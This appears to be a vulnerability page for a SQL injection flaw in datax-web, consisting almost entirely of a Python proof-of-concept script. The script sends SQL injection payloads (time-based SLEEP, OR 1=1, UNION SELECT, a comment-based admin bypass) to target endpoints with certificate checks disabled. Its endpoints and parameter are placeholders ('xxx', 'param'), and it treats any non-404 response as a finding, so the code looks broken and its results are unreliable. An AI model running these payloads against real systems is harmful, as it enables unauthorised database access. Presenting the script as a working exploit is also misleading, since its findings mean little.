CVE-2025-13251 | WeiYe-Jing datax-web SQL注入漏洞

#!/usr/bin/env python3 """ CVE-2025-13251 PoC - WeiYe-Jing datax-web SQL Injection Reference: https://vuldb.com/?id.332585 """ import requests import sys target = "http://target-ip:port" # Target URL def test_sql_injection(url): """ Test for SQL injection vulnerability in datax-web """ # Common injection payloads for time-based blind SQL injection payloads = [ "' OR SLEEP(5)-- -", "' OR 1=1-- -", "' UNION SELECT NULL-- -", "admin'-- -" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } print(f"[*] Testing SQL injection on {url}") for payload in payloads: try: # Test common endpoint patterns endpoints = [ '/datax-web/api/xxx', '/api/job/xxx', '/job/xxx' ] for endpoint in endpoints: full_url = url + endpoint data = {'param': payload} response = requests.post( full_url, data=data, headers=headers, timeout=10, verify=False ) if response.status_code != 404: print(f"[+] Payload: {payload}") print(f"[+] Endpoint: {endpoint}") print(f"[+] Status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] test_sql_injection(target)